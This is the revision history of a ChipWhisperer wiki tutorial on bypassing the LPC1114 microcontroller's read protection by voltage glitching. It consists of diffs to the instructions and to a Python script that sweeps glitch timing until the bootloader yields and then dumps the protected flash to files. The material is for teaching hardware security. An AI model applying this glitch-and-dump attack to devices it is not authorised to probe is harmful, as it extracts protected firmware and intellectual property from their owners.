Tutorial A9 Bypassing LPC1114 Read Protect - Revision history

Adewar: /* Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory */

2018-11-23T18:50:43Z

‎Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory

Coflynn at 13:17, 13 June 2018

2018-06-13T13:17:37Z

Fheubach at 18:51, 1 May 2018

2018-05-01T18:51:35Z

Coflynn: /* Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory */

2018-04-26T12:52:41Z

‎Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory

Coflynn: /* Using the Glitch Explorer */

2018-04-26T12:06:29Z

‎Using the Glitch Explorer

Coflynn: /* Using the Glitch Explorer */

2018-04-26T12:04:40Z

‎Using the Glitch Explorer

Coflynn at 12:04, 26 April 2018

2018-04-26T12:04:24Z

Adewar: /* Decoding UU Encoded Data */

2018-04-20T13:34:07Z

‎Decoding UU Encoded Data

Adewar: /* Automating the Glitch */

2018-04-19T20:21:47Z

‎Automating the Glitch

Adewar: /* The Completed Script */

2018-04-17T15:17:46Z

‎The Completed Script

@@ Line 250: / Line 250: @@
 For use without the CW GUI
 """
+from __future__ import print_function
 import sys
@@ Line 266: / Line 266: @@
 import numpy as np
 import chipwhisperer as cw
+from tqdm import trange
 logging.basicConfig(level=logging.NOTSET)
 scope = cw.scope()
@@ Line 311: / Line 311: @@
          #wait for full response, since we need to make sure we don't throw off baud calc
          self.read_line(0)
          self.serial.write("Synchronized\r\n")
          self.read_line(10)
@@ Line 332: / Line 331: @@
              #about these unexpected returns
              if "19" not in s:
-                 print "Unexpected error code " + s
+                 print( "Unexpected error code " + s)
              return False
@@ Line 353: / Line 352: @@
      def dump_flash(self, start_addr = 0, length = 0x8000, rd_len = 24):
          if start_addr % 4:
-             print "Address not 4 byte aligned!"
+             print ("Address not 4 byte aligned!")
              return -1
          if length % 4:
-             print "Length not 4 byte aligned!"
+             print ("Length not 4 byte aligned!")
              return -1
@@ Line 370: / Line 369: @@
          bin_file = open("bin_flash.bin", "wb")
-         print "Doing loop"
+         print ("Doing loop")
-         for i in range(start_addr, start_addr + length - 1, rd_len):
+         for i in trange(start_addr, start_addr + length - 1, rd_len):
              self.serial.write("R {:d} {:d}\r\n".format(i, rd_len))
              err = self.read_line()
@@ Line 378: / Line 377: @@
              if "13" in err:
                  #addr err
-                 print "addr error: addr = {:d}".format(i)
+                 print ("addr error: addr = {:d}".format(i))
                  return -1
              flash = self.read_line(0)
-             data_len = ord(flash[0]) - 32
+             if flash:
-            if rd_len != data_len:
+                data_len = ord(flash[0]) - 32
-                print "Unexpected data_len {:x}, expected {:x}".format(data_len, rd_len)
+                if rd_len != data_len:
-                print "Actual flash: " + flash
+                    print ("Unexpected data_len {:x}, expected {:x}".format(data_len, rd_len))
-            # Bootloader uses ` instead of space for 0
+                # Bootloader uses ` instead of space for 0
-            data = flash.replace('`', " ")
+                data = flash.replace('`', " ")
-            checksum = self.read_line() #eat checksum for now, can check it later
+                checksum = self.read_line() #eat checksum for now, can check it later
-            self.serial.write("OK\r\n")
+                self.serial.write("OK\r\n")
-            try:
+                try:
-                uu_file.write("0x{:08x}: ".format(i) + data + "\n")
+                    uu_file.write("0x{:08x}: ".format(i) + data + "\n")
-                binary_data = binascii.a2b_uu(data)
+                    binary_data = binascii.a2b_uu(data)
-                bin_file.write(binary_data)
+                    bin_file.write(binary_data)
-                ascii_file.write("0x{:08x}: ".format(i) + binascii.hexlify(binary_data) + "\n")
+                    ascii_file.write("0x{:08x}: ".format(i) + str(binascii.hexlify(binary_data)) + "\n")
-            except binascii.Error, e:
+                except binascii.Error as e:
-                print "Invalid data: " + data
+                    print( "Invalid data: " + data)
-                print "\nError: " + str(e) + "\n"
+                    print( "\nError: " + str(e) + "\n")
@@ Line 429: / Line 429: @@
 scope.glitch.repeat = repeat_range.min
-print "Entering glitch loop"
+print("Entering glitch loop")
 # it may take quite a few cycles to get a glitch, so just attempt until we get it
@@ Line 453: / Line 453: @@
          s = glitcher.get_read_string()
-         print "Read string: " + s
+         print( "Read string: " + s)
-         print "Offset = {:04d}, Repeat = {:02d}".format(scope.glitch.ext_offset, scope.glitch.repeat)
+         print( "Offset = {:04d}, Repeat = {:02d}".format(scope.glitch.ext_offset, scope.glitch.repeat))
          if glitcher.check_err_rtn(s):
-             print "Success!"
+             print ("Success!")
              glitcher.dump_flash()
              cleanup_exit()
@@ Line 462: / Line 462: @@
      scope.glitch.repeat += repeat_range.step
 def cleanup_exit():
      scope.dis()
      target.dis()
      exit()
-−
 </syntaxhighlight>

@@ Line 60: / Line 60: @@
 # Connect pin 3 of UEXT (TXD) to pin 10 on the CW-Lite
 # Connect pin 4 of UEXT (RXD) to pin 12 on the CW-Lite
-# Connect RST to pins 5 (nRST) and 14 (GPIO3) or 16 (GPIO4) on the CW-Lite
+# Connect RST (the 3 header pins soldered on) to pins 5 (nRST) and 16 (GPIO4) on the CW-Lite
 # Finally, attach an SMA cable between the one you added to the board and the GLITCH connector on the CW-Lite. If you'd like instead you can also use a SMA Tee to do both measurement & glitch.

← Older revision		Revision as of 18:51, 1 May 2018
Line 471:		Line 471:

	</syntaxhighlight>		</syntaxhighlight>
		+
		+	== Links ==
		+
		+	{{Template:Tutorials}}

@@ Line 425: / Line 425: @@
 Range = namedtuple("Range", ["min", "max", "step"])
-offset_range = Range(5180*freq_multiplier, 5183*freq_multiplier, 1)
+offset_range = Range(5180*freq_multiplier, 5185*freq_multiplier, 1)
-repeat_range = Range(9*freq_multiplier, 13*freq_multiplier, 1)
+repeat_range = Range(8*freq_multiplier, 15*freq_multiplier, 1)
 scope.glitch.repeat = repeat_range.min

@@ Line 234: / Line 234: @@
 === Using the Glitch Explorer ===
 The last thing we need to do before beginning our glitches is to setup the Glitch Explorer to detect successful glitches. Since the bootloader sends back a specific error message when read protect is enabled, we can use that to tell if our glitch was successful or not. For example, you could search the string for "\r\n19\r\n" for a normal response, and search for "\r\n0\r\n for a successful response. Setup your Acquisition Settings to run for a while, and check back for successful glitches. If you're lucky, you'll find some glitches and can start reading flash memory.
 == Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory ==

@@ Line 85: / Line 85: @@
 [https://en.wikipedia.org/wiki/Uuencoding The UU Encoding Wikipedia page] is a good resource for UU encoding. Python includes functions for decoding UU strings to binary in the binascii module. Documentation can be found [https://docs.python.org/2/library/binascii.html here]. Note that the bootloader uses a backtick ('`') for 0 instead of a space (' '), meaning you need to replace the backticks with spaces in your UU Encoded string before decoding. Also note that the first character of a UU Encoded line is the length of the line + 32. This needs to be at the start of the line when it is passed to the decoding function. For an example, see the script at the bottom of this page.
-== Setting up the Glitch ==
+== Method 1 - ChipWhisperer Capture GUI ==
 === Firmware Setup ===
@@ Line 210: / Line 210: @@
 scope.adc.offset = 0
 scope.clock.adc_src = "clkgen_x1"
-scope.trigger.triggers = "tio3"
+scope.trigger.triggers = "tio4"
 scope.io.glitch_lp = True # this works, but doesn't update the GUI checkbox
 scope.io.hs2 = None
@@ Line 235: / Line 235: @@
 The last thing we need to do before beginning our glitches is to setup the Glitch Explorer to detect successful glitches. Since the bootloader sends back a specific error message when read protect is enabled, we can use that to tell if our glitch was successful or not. For example, you could search the string for "\r\n19\r\n" for a normal response, and search for "\r\n0\r\n for a successful response. Setup your Acquisition Settings to run for a while, and check back for successful glitches. If you're lucky, you'll find some glitches and can start reading flash memory.
-== Stopping Glitch when Success & Dumping Memory ==
+== Method 2: Stand Alone Scripting for Stopping Glitch when Success & Dumping Memory ==
 The easiest way to fully automate the breaking/dumping process is to use ChipWhisperer entirely without the GUI. This involves making a loop running through what you would normally do in the GUI (so resetting, arming the scope, setting up the bootloader, etc). An example script that breaks the bootloader and dumps the flash memory in various formats (UU encoded, binary, and ASCII encoded) is shown below. This script is also much faster than the GUI, so it much better for breaking the bootloader as well.
@@ Line 265: / Line 265: @@
 target = cw.target(scope)
 #Create and register glitcher
 #Initial Setup
@@ Line 270: / Line 274: @@
 scope.adc.offset = 0
 scope.clock.adc_src = "clkgen_x1"
-scope.trigger.triggers = "tio3"
+scope.trigger.triggers = "tio4"
 scope.io.glitch_lp = True
 scope.io.hs2 = None
@@ Line 278: / Line 282: @@
 scope.io.tio2 = "serial_tx"
 scope.adc.basic_mode = "rising_edge"
-scope.clock.clkgen_freq = 100000000
+scope.clock.clkgen_freq = 100000000 * freq_multiplier
 scope.glitch.clk_src = "clkgen"
 scope.glitch.trigger_src = "ext_single"
@@ Line 415: / Line 419: @@
 Range = namedtuple("Range", ["min", "max", "step"])
-offset_range = Range(5180, 5183, 1)
+offset_range = Range(5180*freq_multiplier, 5183*freq_multiplier, 1)
-repeat_range = Range(9, 13, 1)
+repeat_range = Range(9*freq_multiplier, 13*freq_multiplier, 1)
 scope.glitch.repeat = repeat_range.min

@@ Line 83: / Line 83: @@
 === Decoding UU Encoded Data ===
-[https://en.wikipedia.org/wiki/Uuencoding The UU Encoding Wikipedia page] is a good resource for UU encoding. Python includes functions for decoding UU strings to binary in the binascii module. Documentation can be found [https://docs.python.org/2/library/binascii.html here]. Note that the bootloader uses a tilde ('`') for 0 instead of a space (' '), meaning you need to replace the tildes with spaces in your UU Encoded string before decoding. Also note that the first character of a UU Encoded line is the length of the line. This needs to be at the start of the line when it is passed to the decoding function. For an example, see the script at the bottom of this page.
+[https://en.wikipedia.org/wiki/Uuencoding The UU Encoding Wikipedia page] is a good resource for UU encoding. Python includes functions for decoding UU strings to binary in the binascii module. Documentation can be found [https://docs.python.org/2/library/binascii.html here]. Note that the bootloader uses a backtick ('`') for 0 instead of a space (' '), meaning you need to replace the backticks with spaces in your UU Encoded string before decoding. Also note that the first character of a UU Encoded line is the length of the line + 32. This needs to be at the start of the line when it is passed to the decoding function. For an example, see the script at the bottom of this page.
 == Setting up the Glitch ==

@@ Line 127: / Line 127: @@
          scope.io.nrst = 'high'
 </syntaxhighlight>Add a method to update the glitch parameters and tell the glitch explorer window about them. In this case, we care about the repeat (will determine how wide the glitch is) and the offset of the glitch from the trigger (how long after resetting the glitch happens). The following method covers a wide range, so you'll probably want to narrow things down a bit. Glitches between 5100 and 5300 with a repeat around 10 (on the board we used, glitching at 5211 with a repeat of 10 produced a lot of successes, while another worked better at 5181/11) seem to bypass the bootloader the best:<syntaxhighlight lang="python">
-def update_parameters(self, scope,taret,project):
+def update_parameters(self, scope, target, project):
          scope.glitch.ext_offset += 1
          if scope.glitch.ext_offset > 8000:

@@ Line 192: / Line 192: @@
      def rst_low(self, scope, target, project):
-         self.scope.io.nrst = 'low'
+         scope.io.nrst = 'low'
      def rst_high(self, scope, target, project):
-         self.scope.io.nrst = 'high'
+         scope.io.nrst = 'high'